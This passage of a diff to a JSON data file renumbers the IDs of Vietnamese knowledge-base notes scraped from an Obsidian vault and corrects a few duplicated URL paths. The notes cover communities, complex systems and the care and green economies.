mạng là hiệu ứng mà mỗi một người dùng gia nhập vào mạng lưới sẽ tạo thêm giá trị và cải thiện chất lượng cho cả mạng lưới đó", @@ -10772,11 +10916,11 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-23T13:23:00.000Z", - "id": "AQ" + "id": "AZ" }, { "Tiêu đề": "Hệ phức hợp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Cộng đồng, hệ sinh thái, hệ phức hợp/Hệ phức hợp/Hệ phức hợp", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Cộng đồng, hệ sinh thái, hệ phức hợp/Hệ phức hợp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -10788,7 +10932,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-21T06:22:00.000Z", - "id": "AR" + "id": "Aa" }, { "Tiêu đề": "Khả năng tạo ra được sự bền vững nằm ở việc có thấy được siêu vật hay không", @@ -10804,7 +10948,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-29T06:59:00.000Z", - "id": "AS" + "id": "Ab" }, { "Tiêu đề": "Muốn phát triển thì vào vòng lặp dương. Muốn bền vững thì vào vòng lặp âm", @@ -10820,7 +10964,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-10T14:58:00.000Z", "Ngày cập nhật": "2023-11-21T06:22:00.000Z", - "id": "AT" + "id": "Ac" }, { "Tiêu đề": "Mọi thứ luôn nằm ở chỗ cuối cùng bạn tìm thấy nó", @@ -10836,7 +10980,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-28T13:49:00.000Z", - "id": "AU" + "id": "Ad" }, { "Tiêu đề": "Một số người xem việc kết quả phụ thuộc vào xác suất là bất định, kể cả khi mình biết xác suất đó là gì. Một số người xem việc đó là tất định", @@ -10852,7 +10996,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-11T09:45:00.000Z", - "id": "AV" + "id": "Ae" }, { "Tiêu đề": "Nhiều thứ ta thấy là bất định thực ra là vì không có thời gian để xác định quy luật hoặc kiểm nghiệm giả thiết", @@ -10868,7 +11012,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-11T07:33:00.000Z", - "id": "AW" + "id": "Af" }, { "Tiêu đề": "Những hệ tập trung thì có ưu điểm là dễ quản lý và vận hành hiệu quả trong thời gian ngắn, nhưng nếu bị tấn công một cách có chiến lược thì dễ chết", @@ -10884,7 +11028,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-20T07:55:00.000Z", "Ngày cập nhật": "2023-11-21T06:22:00.000Z", - "id": "AX" + "id": "Ag" }, { "Tiêu đề": "Việc hướng đến sự ngăn nắp là đang hướng đến việc tạo ra một thế giới trong đầu", @@ -10900,7 +11044,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-03-10T08:08:00.000Z", - "id": "AY" + "id": "Ah" }, { "Tiêu đề": "Ý tưởng về rhizome khác với tư duy phi tuyến và hệ phức hợp ở chỗ nó đi tới được các khái niệm như bản đồ và cao nguyên", @@ -10916,7 +11060,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-02T08:22:00.000Z", - "id": "AZ" + "id": "Ai" }, { "Tiêu đề": "❓Hệ thống phân cấp đã có từ thời linh trưởng, chứ không cần phải tới thời Aristotle", @@ -10932,7 +11076,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-27T06:40:00.000Z", "Ngày cập nhật": "2024-03-20T06:47:00.000Z", - "id": "Aa" + "id": "Aj" }, { "Tiêu đề": "Rủi ro mang ý nghĩa mất mát, nhưng nhiều khi nó chỉ là không được sự tối ưu nhưng vẫn được thêm", @@ -10948,7 +11092,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-11T06:41:00.000Z", - "id": "Ab" + "id": "Ak" }, { "Tiêu đề": "Sự hấp dẫn về hệ thống phân cấp đã ăn sâu vào tiềm thức của ta, mặc dù bộ não phát triển theo hướng rhizome", @@ -10964,7 +11108,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-27T06:40:00.000Z", "Ngày cập nhật": "2023-11-21T06:22:00.000Z", - "id": "Ac" + "id": "Al" }, { "Tiêu đề": "Sự tự tổ chức là không tránh khỏi nhưng không dự báo trước được", @@ -10980,7 +11124,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-10T14:58:00.000Z", "Ngày cập nhật": "2023-11-21T06:22:00.000Z", - "id": "Ad" + "id": "Am" }, { "Tiêu đề": "Sự tự tổ chức sự tạo mẫu hình một cách phi tuyến", @@ -10996,7 +11140,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-02T08:43:00.000Z", - "id": "Ae" + "id": "An" }, { "Tiêu đề": "Sự đáp ứng đòi hỏi ta nhận diện được rằng ta không thể hoàn toàn biết được tương lai của mình", @@ -11012,7 +11156,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T05:58:00.000Z", - "id": "Af" + "id": "Ao" }, { "Tiêu đề": "Ta thường cẩn thận với những quyết định một lần", @@ -11028,7 +11172,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-11T07:33:00.000Z", - "id": "Ag" + "id": "Ap" }, { "Tiêu đề": "Trí tuệ đám đông được sinh ra từ sự đa dạng và độc lập của những cá nhân", @@ -11044,7 +11188,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T05:58:00.000Z", - "id": "Ah" + "id": "Aq" }, { "Tiêu đề": "Vòng lặp dương giúp củng cố tình trạng hiện tại, tránh sự tác động từ bên ngoài, tự bảo tồn chính nó", @@ -11060,7 +11204,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-10T14:59:00.000Z", "Ngày cập nhật": "2023-11-28T05:58:00.000Z", - "id": "Ai" + "id": "Ar" }, { "Tiêu đề": "Độ tác động của quyết định, độ có sẵn của thông tin, trạng thái của môi trường là một trong nhiều thứ bất định", @@ -11076,7 +11220,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-10T14:37:00.000Z", - "id": "Aj" + "id": "As" }, { "Tiêu đề": "❓Mối quan hệ giữa hệ phức hợp và siêu vật là gì", @@ -11092,7 +11236,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T11:59:00.000Z", - "id": "Ak" + "id": "At" }, { "Tiêu đề": "Con người dường như được thiết kế để thể hiện ý định qua cảm xúc hơn là lời nói", @@ -11108,7 +11252,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-17T07:08:00.000Z", "Ngày cập nhật": "2023-11-28T08:23:00.000Z", - "id": "Al" + "id": "Au" }, { "Tiêu đề": "Hệ sinh thái là vùng đất", @@ -11124,7 +11268,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:39:00.000Z", - "id": "Am" + "id": "Av" }, { "Tiêu đề": "Khi được hỏi về các rào cản làm cản trở mối quan hệ đối tác, phía doanh nghiệp chủ yếu nói về việc thiếu năng lực, còn phía các tổ chức xã hội chủ yếu nói về việc không cùng hướng đi", @@ -11140,7 +11284,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T08:23:00.000Z", - "id": "An" + "id": "Aw" }, { "Tiêu đề": "Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì", @@ -11156,7 +11300,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-14T06:02:00.000Z", - "id": "Ao" + "id": "Ax" }, { "Tiêu đề": "Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình", @@ -11172,7 +11316,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-19T15:04:00.000Z", - "id": "Ap" + "id": "Ay" }, { "Tiêu đề": "Các dự án xã hội không tập trung vào việc đối thoại với người bên cạnh mình", @@ -11188,7 +11332,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-21T11:25:00.000Z", - "id": "Aq" + "id": "Az" }, { "Tiêu đề": "Ngay cả ở các tổ chức xã hội cũng có khoảng cách giàu nghèo lớn", @@ -11204,7 +11348,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-21T15:47:00.000Z", - "id": "Ar" + "id": "A-" }, { "Tiêu đề": "Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0", @@ -11220,7 +11364,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T02:17:00.000Z", "Ngày cập nhật": "2023-11-28T05:59:00.000Z", - "id": "As" + "id": "A_" }, { "Tiêu đề": "Để tham gia vào một hệ sinh thái đòi hỏi người tham gia phải nắm được thuật ngữ", @@ -11236,7 +11380,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T08:23:00.000Z", - "id": "At" + "id": "B0" }, { "Tiêu đề": "❓Có cách nào để đánh giá giá trị networking của một chương trình trước khi tham gia không?", @@ -11252,7 +11396,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-01T16:06:00.000Z", "Ngày cập nhật": "2023-11-28T08:23:00.000Z", - "id": "Au" + "id": "B1" }, { "Tiêu đề": "❓Động lực làm việc không liên quan đến sự khuếch tán trách nhiệm", @@ -11268,7 +11412,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-04-20T15:56:00.000Z", - "id": "Av" + "id": "B2" }, { "Tiêu đề": "Các cách xác định sản phẩm đã phù hợp thị trường hay chưa", @@ -11284,7 +11428,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-29T10:46:00.000Z", - "id": "Aw" + "id": "B3" }, { "Tiêu đề": "Các dạng cộng đồng", @@ -11300,7 +11444,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-02T05:41:00.000Z", - "id": "Ax" + "id": "B4" }, { "Tiêu đề": "Cách phân tích các loại khách hàng", @@ -11316,7 +11460,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-25T10:06:00.000Z", "Ngày cập nhật": "2023-11-19T17:06:00.000Z", - "id": "Ay" + "id": "B5" }, { "Tiêu đề": "Có những người không muốn được hỏi mình muốn gì mà chỉ muốn được quyết định giúp", @@ -11332,7 +11476,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T07:40:00.000Z", - "id": "Az" + "id": "B6" }, { "Tiêu đề": "Cảm giác khó chịu khi bị quảng cáo quá đà", @@ -11348,7 +11492,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-30T03:36:00.000Z", - "id": "A-" + "id": "B7" }, { "Tiêu đề": "Cộng đồng của dự án khác với cộng đồng của xã hội", @@ -11364,7 +11508,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-09T03:42:00.000Z", "Ngày cập nhật": "2024-08-02T05:41:00.000Z", - "id": "A_" + "id": "B8" }, { "Tiêu đề": "Cộng đồng là những người có cùng niềm tin", @@ -11380,7 +11524,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-14T13:58:00.000Z", - "id": "B0" + "id": "B9" }, { "Tiêu đề": "Cộng đồng trên Facebook là cộng đồng của Facebook", @@ -11396,7 +11540,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-09T02:41:00.000Z", "Ngày cập nhật": "2024-03-14T12:09:00.000Z", - "id": "B1" + "id": "BA" }, { "Tiêu đề": "Cộng đồng từ chưa tỉnh thức đến tỉnh thức ít nhất cũng 2 năm", @@ -11412,7 +11556,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-10T14:53:00.000Z", "Ngày cập nhật": "2024-03-14T11:40:00.000Z", - "id": "B2" + "id": "BB" }, { "Tiêu đề": "Các buổi cà phê bạn bè chủ yếu là thu hút người chưa biết về dự án thông qua cá tính của mình", @@ -11428,7 +11572,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-25T07:34:00.000Z", "Ngày cập nhật": "2023-10-26T07:10:00.000Z", - "id": "B3" + "id": "BC" }, { "Tiêu đề": "Các buổi cà phê thường phải theo nhu cầu tán chuyện của mọi người", @@ -11444,7 +11588,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-25T07:35:00.000Z", "Ngày cập nhật": "2023-10-26T07:05:00.000Z", - "id": "B4" + "id": "BD" }, { "Tiêu đề": "Các buổi hội thảo", @@ -11460,7 +11604,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-25T16:20:00.000Z", "Ngày cập nhật": "2023-10-26T07:05:00.000Z", - "id": "B5" + "id": "BE" }, { "Tiêu đề": "Việc gặp người mới sẽ phải thường xuyên kể về động lực làm dự án mình hoài", @@ -11476,7 +11620,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-25T07:48:00.000Z", "Ngày cập nhật": "2023-10-26T07:06:00.000Z", - "id": "B6" + "id": "BF" }, { "Tiêu đề": "Nhiều người muốn hỏi ý kiến của người sáng lập nhưng không hỏi trong cộng đồng chung mà chỉ muốn nhắn riêng", @@ -11492,7 +11636,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-09T17:24:00.000Z", "Ngày cập nhật": "2023-10-26T07:05:00.000Z", - "id": "B7" + "id": "BG" }, { "Tiêu đề": "Nhóm kín trên Facebook không nhất thiết là cộng đồng riêng", @@ -11508,7 +11652,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-14T16:49:00.000Z", - "id": "B8" + "id": "BH" }, { "Tiêu đề": "Nội dung thiên về lý tính có nhiều tương tác chủ động. Nội dung thiên về cảm tính có nhiều tương tác thụ động", @@ -11524,7 +11668,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-06-21T16:22:00.000Z", "Ngày cập nhật": "2024-08-02T05:40:00.000Z", - "id": "B9" + "id": "BI" }, { "Tiêu đề": "Phân loại khách hàng tốt nhất là phân loại bằng niềm tin", @@ -11540,7 +11684,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-20T06:47:00.000Z", - "id": "BA" + "id": "BJ" }, { "Tiêu đề": "Quảng cáo trên Internet khác hẳn quảng cáo trên các phương tiện ở chỗ người tiêu dùng có thể tương tác với quảng cáo", @@ -11556,7 +11700,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-25T07:26:00.000Z", "Ngày cập nhật": "2023-11-16T14:28:00.000Z", - "id": "BB" + "id": "BK" }, { "Tiêu đề": "Việc có được khách hàng mới có thể tốn kém hơn từ 5 đến 25 lần so với việc giữ chân một khách hàng hiện có", @@ -11572,7 +11716,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-25T09:57:00.000Z", "Ngày cập nhật": "2023-10-26T07:03:00.000Z", - "id": "BC" + "id": "BL" }, { "Tiêu đề": "Đàm phán là tạo ra giá trị, chứ không phải chia đôi lợi ích", @@ -11588,7 +11732,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-17T10:15:00.000Z", "Ngày cập nhật": "2023-10-26T07:03:00.000Z", - "id": "BD" + "id": "BM" }, { "Tiêu đề": "❓Học tập cùng cộng đồng khác gì với thực tập", @@ -11604,7 +11748,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T07:26:00.000Z", - "id": "BE" + "id": "BN" }, { "Tiêu đề": "❓Khách hàng sẽ nhớ đến mình nếu như mình có thể tạo được satisfaction of emotion, nhưng họ chỉ làm tnv hoặc góp tiền cho mình khi họ cần đảm bảo một cái gì đấy", @@ -11620,7 +11764,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T03:49:00.000Z", - "id": "BF" + "id": "BO" }, { "Tiêu đề": "❓Làm sao để biết người thụ hưởng sẽ tiếp tục dựa dẫm hay sẽ có động lực thay đổi", @@ -11636,7 +11780,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-24T03:47:00.000Z", - "id": "BG" + "id": "BP" }, { "Tiêu đề": "❓Một người khen là bài rất hay thì nó có nghĩa gì", @@ -11652,7 +11796,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T03:49:00.000Z", - "id": "BH" + "id": "BQ" }, { "Tiêu đề": "❓Tìm sự bàn tán trước hay chuẩn bị cho sự bàn tán trước", @@ -11668,7 +11812,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-24T11:31:00.000Z", - "id": "BI" + "id": "BR" }, { "Tiêu đề": "❓Tỉ lệ hài lòng trên share là bao nhiêu", @@ -11684,7 +11828,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T03:49:00.000Z", - "id": "BJ" + "id": "BS" }, { "Tiêu đề": "❓Việc diễn giả lên nói mà không tìm hiểu trước nhu cầu người tham dự có đúng tinh thần SL hay không", @@ -11700,7 +11844,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T07:26:00.000Z", - "id": "BK" + "id": "BT" }, { "Tiêu đề": "Chúng ta có cảm xúc cổ đại, thiết chế thời trung đại và công nghệ của chúa", @@ -11716,7 +11860,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-05-16T08:45:00.000Z", - "id": "BL" + "id": "BU" }, { "Tiêu đề": "Công nghệ vừa làm tăng sự phức tạp của vấn đề, vừa làm giảm khả năng hiểu được vấn đề của chúng ta", @@ -11732,7 +11876,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-05-16T08:49:00.000Z", - "id": "BM" + "id": "BV" }, { "Tiêu đề": "ESG", @@ -11748,7 +11892,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T14:42:00.000Z", - "id": "BN" + "id": "BW" }, { "Tiêu đề": "Cho mượn theo nhóm đảm bảo hơn", @@ -11764,7 +11908,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-19T10:34:00.000Z", - "id": "BO" + "id": "BX" }, { "Tiêu đề": "Cho vay ngang hàng", @@ -11780,7 +11924,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-27T13:18:00.000Z", "Ngày cập nhật": "2024-06-20T14:58:00.000Z", - "id": "BP" + "id": "BY" }, { "Tiêu đề": "Con số cho tiền cho thiện nguyện dựa trên cộng đồng không tăng lên dù có rất nhiều nền tảng", @@ -11796,7 +11940,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-27T13:30:00.000Z", - "id": "BQ" + "id": "BZ" }, { "Tiêu đề": "Kể cả khi AI có thể làm mất việc, thì những ngành khác cũng sẽ tạo ra nhiều loại việc khác", @@ -11812,7 +11956,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-05T05:36:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "BR" + "id": "Ba" }, { "Tiêu đề": "Mọi người vẫn nghĩ công nghệ mới là AI, nhưng nó chỉ là một công nghệ trong rất nhiều các loại công nghệ mới khác", @@ -11828,7 +11972,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-05T05:03:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "BS" + "id": "Bb" }, { "Tiêu đề": "Năm 1990 UNDP gắn phát triển vào phát triển con người", @@ -11844,7 +11988,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "BT" + "id": "Bc" }, { "Tiêu đề": "Nếu bạn thấy được ý nghĩa trong công việc bạn làm thì bạn sẽ không lo lắng về người dùng chùa", @@ -11860,7 +12004,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "BU" + "id": "Bd" }, { "Tiêu đề": "Chưa có một lý thuyết chắc chắn nào về nền kinh tế chăm sóc", @@ -11876,7 +12020,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:49:00.000Z", - "id": "BV" + "id": "Be" }, { "Tiêu đề": "Các công việc nấu nướng, dọn dẹp, chăm sóc trẻ em, người già và người bệnh tại gia đình thường được hiểu là công việc chăm sóc không lương", @@ -11892,7 +12036,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "BW" + "id": "Bf" }, { "Tiêu đề": "Công việc chăm sóc không lương thường vô hình trong các chính sách và ngân sách bởi vì nó không nằm trong định nghĩa và đo lường theo cách truyền thống của nền kinh tế", @@ -11908,7 +12052,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:48:00.000Z", - "id": "BX" + "id": "Bg" }, { "Tiêu đề": "Công việc chăm sóc không lương được gán cho là không có giá trị về kinh tế bất chấp một thực tế về những đóng góp to lớn của công việc này cho nền kinh tế và xã hội", @@ -11924,7 +12068,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-01T12:50:00.000Z", - "id": "BY" + "id": "Bh" }, { "Tiêu đề": "Nhiều thảo luận về nền kinh tế chăm sóc chỉ nói đến lợi nhuận tiềm năng của nó, chứ không để ý vào các bất bình đẳng xã hội từ việc thiếu để ý và quan tâm đến các công việc chăm sóc", @@ -11940,11 +12084,11 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "BZ" + "id": "Bi" }, { "Tiêu đề": "Nền kinh tế chăm sóc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Kinh tế. Tâm lý học quản lý và lao động/Kinh tế/Các loại hình kinh tế mới/Nền kinh tế chăm sóc/Nền kinh tế chăm sóc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Kinh tế. Tâm lý học quản lý và lao động/Kinh tế/Các loại hình kinh tế mới/Nền kinh tế chăm sóc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -11956,7 +12100,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-05T05:03:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Ba" + "id": "Bj" }, { "Tiêu đề": "Sự khác biệt giữa nền kinh tế chăm sóc và các ngành dịch vụ là nó tập trung vào người yếu thế, và hệ thống hoá các khái niệm", @@ -11972,7 +12116,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bb" + "id": "Bk" }, { "Tiêu đề": "Tính trung bình, phụ nữ làm công việc chăm sóc không được trả lương nhiều hơn ít nhất hai lần rưỡi so với nam giới", @@ -11988,7 +12132,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bc" + "id": "Bl" }, { "Tiêu đề": "Với sự phát triển của AI, các ngành về chăm sóc sẽ trở thành lợi thế", @@ -12004,7 +12148,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bd" + "id": "Bm" }, { "Tiêu đề": "Nền kinh tế hậu khan hiếm", @@ -12020,7 +12164,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Be" + "id": "Bn" }, { "Tiêu đề": "Nền kinh tế không dùng tiền", @@ -12036,7 +12180,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bf" + "id": "Bo" }, { "Tiêu đề": "Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước", @@ -12052,7 +12196,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-22T14:38:00.000Z", - "id": "Bg" + "id": "Bp" }, { "Tiêu đề": "Kinh tế số là kinh tế dữ liệu (data-driven economy)", @@ -12068,7 +12212,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-02T13:27:00.000Z", - "id": "Bh" + "id": "Bq" }, { "Tiêu đề": "Ngân hàng trung ương quản lý được digital currency, nhưng không phải crypto", @@ -12084,7 +12228,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bi" + "id": "Br" }, { "Tiêu đề": "Sự khác nhau giữa công nghệ thông tin và chuyển đổi số", @@ -12101,7 +12245,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-02T15:08:00.000Z", - "id": "Bj" + "id": "Bs" }, { "Tiêu đề": "Tài chính phi tập trung", @@ -12117,7 +12261,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-27T13:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bk" + "id": "Bt" }, { "Tiêu đề": "❓Quyền riêng tư có phải là bất lợi với các doanh nghiệp nhỏ vì họ không có dữ liệu khách hàng, nhưng lại là lợi thế của doanh nghiệp lớn để họ độc quyền khai thác khách hàng đó?", @@ -12133,7 +12277,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-27T08:37:00.000Z", "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "Bl" + "id": "Bu" }, { "Tiêu đề": "Chi phí chuyển đổi sang năng lượng xanh không đơn giản", @@ -12149,7 +12293,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bm" + "id": "Bv" }, { "Tiêu đề": "Các thảo luận về nền kinh tế xanh ít đề cập đến việc giảm tải áp lực cho mọi người", @@ -12165,7 +12309,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Bn" + "id": "Bw" }, { "Tiêu đề": "Dần dần khái niệm kinh tế xanh được đánh đồng với tăng trưởng xanh", @@ -12181,11 +12325,11 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập 